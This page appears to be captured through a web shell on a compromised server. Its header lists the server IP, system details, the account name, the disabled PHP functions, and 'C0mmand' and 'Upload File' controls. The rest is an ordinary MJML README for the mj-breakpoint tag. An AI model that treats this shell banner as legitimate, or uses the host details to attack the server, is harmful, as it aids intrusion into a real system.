|
Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/mjml-head-breakpoint/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
## mj-breakpoint
This tag allows you to control on which breakpoint the layout should go desktop/mobile.
```xml
<mjml>
<mj-head>
<mj-breakpoint width="320px" />
</mj-head>
<mj-body>
<mj-section>
<mj-column>
<mj-text>
Hello World!
</mj-text>
</mj-column>
</mj-section>
</mj-body>
</mjml>
```
<p style="text-align: center;" >
<a href="https://mjml.io/try-it-live/components/head-breakpoint">
<img width="100px" src="https://mjml.io/assets/img/svg/TRYITLIVE.svg" alt="try it live" />
</a>
</p>
attribute | unit | description | default value
---------------------|---------------|--------------------------------|---------------
width | px | breakpoint's value | n/a